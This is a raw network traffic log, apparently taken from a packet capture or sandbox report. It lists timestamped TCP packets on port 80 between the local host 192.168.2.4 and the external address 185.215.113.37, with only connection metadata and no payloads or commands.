Oct 13, 2024 06:54:14.171946049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.171963930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.171978951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.171994925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.172055960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.172055960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.172055960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.172055960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.172055960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.172055960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.173130035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.173144102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.173166037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.173180103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.173202991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.173217058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.173229933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.173243999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.173297882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.173297882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.173297882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.173297882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.173297882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.173297882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.173310995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.173326969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.173342943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.173357964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.173456907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.173456907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.173456907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.173456907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.270179033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.274980068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.534394979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.534427881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.534481049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.534487963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.534487963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.534534931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.534584999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.534617901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.534647942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.534677982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.534677982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.534677982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.534677982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.534681082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.534701109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.534712076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.534744024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.534779072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.534781933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.534781933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.534810066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.534813881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.534846067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.534878016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.534913063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.534941912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.534974098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.534995079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.534995079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.534995079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.534995079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.534995079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.534995079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.535007954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.535034895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.535041094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.535074949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.535310984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.535363913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.535363913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.535363913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.535365105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.535365105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.535417080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.535444021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.535471916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.535526991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.535574913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.535608053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.535640001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.535662889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.535662889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.535662889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.535662889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.535675049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.535687923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.535712957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.535713911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.535744905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.535772085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.535773039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.535778046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.535811901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.535841942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.535841942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.535845995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.535857916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.535880089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.535912991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.535995007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.535995007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.535995007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.536870003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.536902905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.536921024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.536948919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.536957026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.537008047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.537044048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.537053108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.537058115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.537090063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.537121058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.537141085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.537142038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.537172079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.537204981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.537215948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.537233114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.537240982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.537273884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.537323952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.537323952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.537323952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.537327051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.537377119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.537389040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.537410021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.537444115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.537492990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.537496090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.537496090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.537527084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.537543058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.537544966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.537595987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.537640095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.537669897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.537698030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.537698030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.537698030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.537717104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.537720919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.537771940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.537806034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.537837982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.537859917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.537859917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.537870884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.537874937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.537893057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.537904978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.537935019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.537941933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.537969112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.537998915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.537998915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.538002968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.538028002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.538032055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.538064957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.538064957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.538099051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.538129091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.538163900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.538167953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.538167953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.538167953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.538196087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.538197994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.538228989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.538259983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.538291931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.538322926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.538352966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.538352966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.538352966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.538352966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.538355112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.538352966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.538383007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.538391113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.538424969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.538459063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.538490057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.538490057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.538490057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.538508892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.538537979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.538556099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.538561106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.538613081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.538657904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.538661957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.538669109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.538695097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.538731098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.538764000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.538789988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.538790941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.538790941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.538796902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.538810015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.538834095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.538866043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.538898945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.538924932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.538924932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.538925886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.538940907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.539438009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.539491892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.539501905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.539534092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.539571047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.539618969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.539623976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.539623976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.539623976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.539674997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.539704084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.539735079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.539767981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.539796114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.539829016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.539870977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.539871931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.539870977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.539871931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.539871931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.539871931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.539871931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.539871931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.539911032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.539944887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.540100098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.540100098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.540100098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.540544987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.540594101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.540627956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.540678978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.540733099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.540771008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.540822029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.540822029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.540822029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.540822029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.540822029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.540822029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.540822029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.540855885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.540888071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.540915966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.540946007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.540977955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.541008949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.541028023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.541028023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.541028023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.541028023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.541028023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.541028023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.541042089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.541074991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.541106939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.541136980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.541166067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.541166067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.541166067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.541166067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.541176081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.541208982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.541243076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.541275024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.541291952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.541291952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.541291952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.541291952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.541309118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.541372061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.541380882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.541380882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.541404009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.541435957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.541469097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.541501045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.542139053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.542139053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.542139053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.542139053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.542139053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.634247065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.634300947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.634351969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.634356976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.634385109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.634386063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.634396076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.634422064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.634469986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.634501934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.634512901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.634512901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.634529114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.634545088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.634552002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.634613037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.634637117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.634669065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.634697914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.634701967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.634736061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.634768009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.634799004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.634818077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.634819031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.634819031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.634840012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.634846926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.634850025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.634897947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.634912968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.634932041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.634964943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.635004997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.635036945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.635050058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.635050058 CEST	49730	80	192.168.2.4	185.215.113.37
